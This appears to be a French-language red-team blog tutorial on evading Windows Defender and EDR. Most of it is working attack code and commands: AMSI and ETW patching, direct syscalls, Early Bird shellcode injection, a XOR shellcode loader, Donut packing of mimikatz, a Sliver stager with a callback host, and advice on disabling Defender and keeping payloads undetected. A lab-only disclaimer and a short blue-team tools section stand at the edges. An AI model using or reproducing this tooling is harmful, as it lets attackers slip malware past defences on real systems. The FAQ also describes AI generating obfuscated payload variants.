Red teaming évasion AV/EDR : tutoriel pratique 2026

Lecture : 14 minutes · Niveau : avancé · Mise à jour : avril 2026

⚠️ Disclaimer : Toutes les techniques d’évasion décrites s’exécutent uniquement sur des labs personnels (VM Windows 11 dédiée, machines red team explicitement mandatées). L’usage contre des systèmes tiers sans autorisation écrite préalable est illégale.

Tutoriel pas-à-pas des techniques modernes pour contourner les mécanismes défensifs Windows : AMSI bypass, patch ETW (Event Tracing for Windows), syscalls directs et indirects, packers custom, OPSEC réseau. Lab reproductible : Windows 11 + Defender activé, chargement d’un payload bénin transformé via les techniques présentées, vérification de la non-détection.

Voir aussi → Red teaming PME : guide complet, Red teaming C2 frameworks, Red teaming Active Directory.

Sommaire

1. Lab : Windows 11 + Defender + dev env
2. Comprendre les couches défensives
3. AMSI bypass moderne
4. Patch ETW pour neutraliser le tracing
5. Syscalls directs et indirects (Hell’s Gate, SysWhispers)
6. Process injection sans CreateRemoteThread
7. Packers et obfuscation
8. OPSEC réseau (jitter, sleep, beaconing)
9. Tester son binaire (lab privé Windows 11 Defender)
10. Detect tools blue team
11. FAQ

1. Lab : Windows 11 + Defender + dev env

VM Windows 11 (lab isolé) :

- VirtualBox/VMware/Hyper-V VM
- Windows 11 Pro à jour
- Defender activé avec cloud-delivered protection
- Reseau host-only ou NAT (jamais Internet pro)
- Snapshots : "Clean install", "Tools installed", "Pre-test"

Dev environnement sur Kali (compilation cross) :

sudo apt install -y mingw-w64 nasm
# Génère .exe Windows depuis Linux
x86_64-w64-mingw32-gcc payload.c -o payload.exe -lws2_32

Outils blue team à installer côté Windows pour observer :
– Sysmon (Microsoft) avec config SwiftOnSecurity
– Process Monitor (Sysinternals) pour surveiller créations process / fichiers
– API Monitor pour tracer les appels Windows API
– Defender + Real-time protection ON

2. Comprendre les couches défensives

[1. Static AV signatures]            ← bypass : packing, obfuscation
[2. AMSI (in-memory script scan)]    ← bypass : amsi.dll patch
[3. ETW (telemetry)]                 ← bypass : ntdll!EtwEventWrite patch
[4. EDR userland hooks]              ← bypass : direct syscalls
[5. EDR kernel callbacks]            ← bypass : très avancé / vendor-specific
[6. Behavioral / ML cloud]           ← bypass : OPSEC, low-and-slow, mimétisme
[7. SOC / threat hunting humain]     ← bypass : qualité OPSEC

Chaque couche bypassée nécessite des techniques spécifiques. Les couches 4-7 sont les plus difficiles à contourner sans tooling sophistiqué.

3. AMSI bypass moderne

AMSI (Antimalware Scan Interface) intercepte les scripts PowerShell, JS, VBScript, .NET avant exécution. Patcher la fonction AmsiScanBuffer dans amsi.dll neutralise cette détection.

Bypass classique en mémoire (PowerShell) :

# AMSI bypass (à entretenir car les chaînes signature évoluent)
$a = [Ref].Assembly.GetTypes()
foreach($b in $a) { if ($b.Name -like "*siUtils") { $c = $b } }
$d = $c.GetFields('NonPublic,Static')
foreach($e in $d) { if ($e.Name -like "*Context") { $f = $e } }
$g = $f.GetValue($null)
[IntPtr]$ptr = $g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

⚠️ Cette payload est bloquée par Defender en 2026 (signature connue). Variante via .NET reflection avec strings randomisées :

$a = [Reflection.Assembly]::Load([Convert]::FromBase64String("..."))  # AmsiBypass.dll embarqué
$a.GetType("AmsiBypass").GetMethod("Patch").Invoke($null, @())

Approche moderne (C# via .NET reflection) :

using System;
using System.Runtime.InteropServices;

public class AmsiBypass {
    [DllImport("kernel32")]
    static extern IntPtr LoadLibrary(string n);
    [DllImport("kernel32")]
    static extern IntPtr GetProcAddress(IntPtr m, string p);
    [DllImport("kernel32")]
    static extern bool VirtualProtect(IntPtr l, UIntPtr s, uint p, out uint o);

    public static void Patch() {
        IntPtr lib = LoadLibrary("amsi.dll");
        IntPtr addr = GetProcAddress(lib, "AmsiScanBuffer");
        // Patch : retourne S_OK et AMSI_RESULT_CLEAN
        byte[] patch = { 0x31, 0xc0, 0xc3 };  // xor eax, eax ; ret
        uint oldProtect;
        VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);
        Marshal.Copy(patch, 0, addr, patch.Length);
    }
}

Tester :

[Reflection.Assembly]::LoadFile("C:\Users\user\bypass.dll")
[AmsiBypass]::Patch()
# Avant patch : Get-Content malicious.ps1 → bloqué par AMSI
# Après patch : exécution autorisée

Nouvelle parade Defender 2026 : AMSI hardening via Process Mitigation Policies (SetProcessMitigationPolicy + ProcessASLRPolicy), qui rend VirtualProtect plus difficile sur les regions code de DLL système.

4. Patch ETW pour neutraliser le tracing

ETW (Event Tracing for Windows) génère les événements télémétrie consommés par EDR. Patcher ntdll!EtwEventWrite aveugle l’EDR localement.

#include <windows.h>
#include <stdio.h>

void PatchEtw() {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    FARPROC etw = GetProcAddress(ntdll, "EtwEventWrite");
    DWORD old;
    BYTE patch[] = { 0xC3 };  // ret immediate
    VirtualProtect(etw, sizeof(patch), PAGE_EXECUTE_READWRITE, &old);
    memcpy(etw, patch, sizeof(patch));
    VirtualProtect(etw, sizeof(patch), old, &old);
}

int main() {
    PatchEtw();
    // Suite du payload sans télémétrie ETW
    return 0;
}

Compiler :

x86_64-w64-mingw32-gcc etw_patch.c -o etw_patch.exe

Vérification : sur la VM, lancer Sysmon avec config détaillée. Avant patch → événements 1, 8, 10 visibles. Après patch sur le process → silence ETW pour ce process.

Mitigation : EDR récents lisent ETW depuis le kernel via callbacks (PsSetCreateProcessNotifyRoutineEx, ObRegisterCallbacks) → patch userland ne suffit plus contre EDR sérieux.

5. Syscalls directs et indirects (Hell’s Gate, SysWhispers)

Les EDR hookent les fonctions Win32 (CreateRemoteThread, WriteProcessMemory…) en userland. Appeler directement le syscall depuis l’assembleur contourne le hook.

Hell’s Gate : récupère dynamiquement le SSN (System Service Number) depuis ntdll.dll en mémoire et exécute syscall directement.

SysWhispers3 : générateur Python qui crée du C avec syscalls pour Windows.

git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
python syswhispers.py --preset common --action dump --arch x64 -o syscalls
# Génère syscalls.h, syscalls.c, syscalls-asm.x64.asm

Utilisation :

#include <windows.h>
#include "syscalls.h"

int main() {
    HANDLE hProcess = NULL;
    OBJECT_ATTRIBUTES oa;
    InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);
    CLIENT_ID cid;
    cid.UniqueProcess = (HANDLE)GetCurrentProcessId();
    cid.UniqueThread = NULL;

    NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, &cid);
    // Pas de OpenProcess Win32 → pas de hook EDR
}

Compilation avec NASM + MinGW :

nasm -f win64 syscalls-asm.x64.asm -o syscalls-asm.o
x86_64-w64-mingw32-gcc main.c syscalls.c syscalls-asm.o -o payload.exe

Indirect syscalls (Tartarus Gate, Halo’s Gate) : au lieu d’exécuter syscall directement depuis votre code (qui montre une stack inhabituelle), sauter vers une instruction syscall légitime dans ntdll.dll. Plus furtif contre les EDR qui détectent l’origine du syscall.

6. Process injection sans CreateRemoteThread

CreateRemoteThread est lourdement monitoré. Alternatives :

• NtQueueApcThread + Early Bird : injecte avant que le process cible démarre
• NtMapViewOfSection : injection via section sharing
• Thread hijacking (NtSuspendThread + NtSetContextThread) : redirige le RIP d’un thread existant
• SetWindowLongPtr + SendMessage : ancienne mais efficace dans certains contextes

Exemple Early Bird (extrait) :

// 1. CreateProcess en mode SUSPENDED
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
               FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// 2. Allouer mémoire dans le process cible
LPVOID alloc = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode),
                              MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, alloc, shellcode, sizeof(shellcode), NULL);

// 3. Queue APC
QueueUserAPC((PAPCFUNC)alloc, pi.hThread, 0);

// 4. Resume → APC s'exécute avant que le thread fasse quoi que ce soit
ResumeThread(pi.hThread);

7. Packers et obfuscation

Packers commerciaux : la plupart sont signés par AV, à éviter pour red team.

Custom packer simple en C (XOR + decrypt en mémoire) :

unsigned char encrypted[] = { /* shellcode XOR-é avec clé */ };
unsigned char key = 0x42;

int main() {
    LPVOID exec = VirtualAlloc(NULL, sizeof(encrypted),
                               MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    for (size_t i = 0; i < sizeof(encrypted); i++) {
        ((BYTE*)exec)[i] = encrypted[i] ^ key;
    }
    ((void(*)())exec)();
    return 0;
}

Donut : convertit un .NET assembly ou exe en shellcode position-independent.

# Sur Linux
git clone https://github.com/TheWover/donut
cd donut && make
./donut -i mimikatz.exe -o mimikatz.bin -a 2 -b 3
# -a 2 : x64
# -b 3 : bypass AMSI/WLDP via dynamic patching

Le shellcode .bin peut ensuite être chargé via process injection sans que mimikatz.exe touche le disque (réduit la détection static).

Génération avec Sliver :

sliver > generate stager --lhost CALLBACK --lport 443 \
    --format raw --save /tmp/stage.bin

8. OPSEC réseau (jitter, sleep, beaconing)

Beacon properties pour rester sous le radar :

- sleep : 60 secondes
- jitter : 30% (random entre 42 et 78s)
- working hours : 08:00-18:00 fuseau cible
- spawn-to : explorer.exe (légitime)
- post-exec : limiter aux commandes nécessaires
- DNS resolution : via résolveur cible (pas Google DNS public)

Sleep masking : chiffrer la mémoire du beacon pendant les sleeps pour éviter les scans mémoire EDR.

sliver > sleep --mask 60s

Jittered execution dans un C2 custom :

// Sleep entre 50% et 150% du sleep nominal
DWORD nominal = 60000;
DWORD jitter = (rand() % nominal) - (nominal / 2);
Sleep(nominal + jitter);

Mimétisme HTTP :
– User-Agent cohérent (Edge sur Windows = stack OS implant)
– TLS JA3 fingerprint = navigateur populaire (lib gorefraction)
– Timing requêtes = pattern utilisateur web (pas mécanique 60s strict)
– Domain fronting via Cloudflare/Cloudfront pour masquer la destination réelle

9. Tester son binaire (lab privé Windows 11 Defender)

Snapshot VM « Pre-test » → restaurer après chaque test.

Procédure :

1. Désactiver "Submit samples automatically" dans Defender
   (sinon votre payload est uploadé à Microsoft → signature ajoutée pour
    tous les utilisateurs Defender → brûle votre binaire)
2. Activer Real-time protection
3. Copier payload.exe sur le bureau
4. Première détection : scan manuel → si détecté, retravailler
5. Si non détecté : exécuter → vérifier comportement
6. Restaurer snapshot pour test suivant

Outil utile : defender-check.exe
– Coupe le binaire en chunks
– Trouve quelle partie déclenche la signature
– Permet d’identifier précisément quoi obfusquer

git clone https://github.com/matterpreter/DefenderCheck
# Compile en VS, exécuter sur la VM Defender activé
DefenderCheck.exe payload.exe
# Output : "Detection at byte offset 0x4523 (string: 'mimikatz')"

⚠️ Ne JAMAIS uploader vos binaires sur VirusTotal. VT partage les uploads avec tous les éditeurs AV → votre binaire est brûlé immédiatement. Utiliser antiscan.me (privé, ~$5/mois) ou tester local.

10. Detect tools blue team

Pour la blue team qui cherche à détecter ces techniques :

• Sysmon + SwiftOnSecurity config : process creation, image loads, registry, DNS
• Sigma rules : règles SIEM open-source pour détection patterns
• YARA rules : détection de strings/patterns dans binaires/mémoire
• Velociraptor : EDR open-source avec collecte forensic à la demande
• HollowsHunter + PE-Sieve : détection injection process / hollowing
• Atomic Red Team : tests automatisés mappés MITRE ATT&CK

Ces outils sont gratuits et permettent à une PME mature de monter une capacité de détection avancée sans budget MSSP majeur.

FAQ

Mon payload qui passe Defender passe-t-il aussi CrowdStrike / SentinelOne ?

Non, généralement. Defender = baseline. Les EDR commerciaux sérieux (CrowdStrike Falcon, SentinelOne, Carbon Black, Microsoft Defender for Endpoint enterprise) ont des couches kernel et ML cloud qui détectent beaucoup plus. Toujours tester sur l’EDR cible spécifique en lab.

Combien de temps pour développer un payload « fully undetected » ?

Pour un payload réutilisable contre EDR moyen : 2-4 semaines de R&D pour un dev expérimenté. Maintien : continu, car les EDR sortent des updates régulières. Acheter un loader commercial (BRC4, Havoc Pro) est parfois plus rentable que développer en interne.

Les techniques décrites fonctionnent-elles sur Linux ?

Linux a moins de couches AV/EDR mais a aussi des mécanismes : eBPF probes, audit subsystem, AppArmor/SELinux. Les payloads Linux sont moins commun en commercial mais Sliver supporte ELF nativement. Évasion Linux = LKM rootkits, ELF packers (UPX custom), ld_preload tricks.

Comment apprendre l’évasion EDR proprement ?

Cursus recommandé : (1) pentesting éthique pour PME bases offensives, (2) C/C++ Windows internals (Pavel Yosifovich book), (3) Windows API + Reverse engineering (Yarden Shafir, Maldev Academy), (4) Cours OSEP / MalDev Academy / Sektor7. Compter 12-24 mois en pratique sérieuse.

Defender peut-il être complètement désactivé en exploit ?

Non normalement, en tout cas pas trivialement. Les versions modernes ont Tamper Protection. Si l’attaquant a SYSTEM, il peut désactiver via PowerShell (Set-MpPreference -DisableRealtimeMonitoring $true) mais cela génère un événement très visible. Il vaut mieux opérer sous Defender que de l’éteindre.

Les EDR sont-ils tous équivalents en détection ?

Non, énormes différences. CrowdStrike Falcon et SentinelOne sont régulièrement en haut des benchmarks MITRE Engenuity. Microsoft Defender for Endpoint (E5) très solide. Beaucoup d’EDR low-cost ratent les attaques avancées. Demander les rapports MITRE Engenuity ATT&CK Evaluations avant choix EDR.

Comment sécuriser ses outils red team contre les fuites ?

Tooling sur poste dédié, jamais sur poste de bureautique. Repos privés Git (Gitea self-host idéal). Chiffrement disque LUKS. Multi-factor pour accès. Procédure stricte de partage entre opérateurs (Signal, ProtonMail, jamais email entreprise). Wipe régulier des labs après opération.

L’IA accélère-t-elle vraiment l’évasion EDR en 2026 ?

Oui pour certaines tâches : génération de variants de code obfusqué, mutation rapide de payloads, brainstorming techniques. Non pour les couches profondes : comprendre une nouvelle protection, écrire un syscall stub fonctionnel, debugger en kernel — ces tâches restent humaines en 2026. L’IA est un accélérateur, pas un remplaçant.

Articles liés (cluster Red Teaming)

• 👉 Red teaming PME : guide complet
• 👉 Red teaming C2 frameworks : Sliver et Mythic
• 👉 Red teaming Active Directory : attaques

Voir aussi : Pentesting éthique pour PME, Pentesting d’applications web.

Article mis à jour le 25 avril 2026. Pour signaler une erreur ou suggérer une amélioration, écrivez-nous.